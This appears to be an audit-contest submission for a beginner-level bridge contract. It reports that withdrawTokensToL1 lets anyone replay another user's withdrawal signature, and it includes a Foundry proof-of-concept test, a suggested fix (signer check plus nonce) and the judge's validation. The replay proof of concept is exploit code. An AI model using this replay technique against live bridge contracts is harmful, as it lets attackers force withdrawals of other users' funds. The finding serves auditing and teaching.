Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

`withdrawTokensToL1` can be used to relay someone's signature and transfer his tokens from the vault

Summary

Assuming that the amounts deposited/withdrawn are correctly handled (which is obviously not the case here), since the function sendToL1 does not check if the signer is the sender of the tx, anyone can easily replay a signature. Additionnal protections like nonce.. would have also prevented this.

Vulnerability Details

A malicious user can force any signed user to withdraw from vault.

POC

function testUser2CanReplayUser1Sig() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, 5 ether), operator.key);
tokenBridge.withdrawTokensToL1(user, 5 ether, v, r, s);
vm.stopPrank();
assertEq(token.balanceOf(address(vault)), depositAmount - 5 ether);
assertEq(token.balanceOf(address(user)), userInitialBalance - 5 ether);
assertEq(token.balanceOf(address(vault)), 5 ether);
address user2 = makeAddr("User2");
vm.prank(user2);
tokenBridge.withdrawTokensToL1(user, 5 ether, v, r, s);
assertEq(token.balanceOf(address(user)), userInitialBalance);
}

Impact

High, users are forcefully removed from L2. A core functionality is exposed.

Tools Used

Foudnry

Recommendations

function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
+ if (signer != msg.sender){
+ revert();
+ }
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
  • Consider also adding a nonce to signature to avoid any type of replay even from signer == msg.sender

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.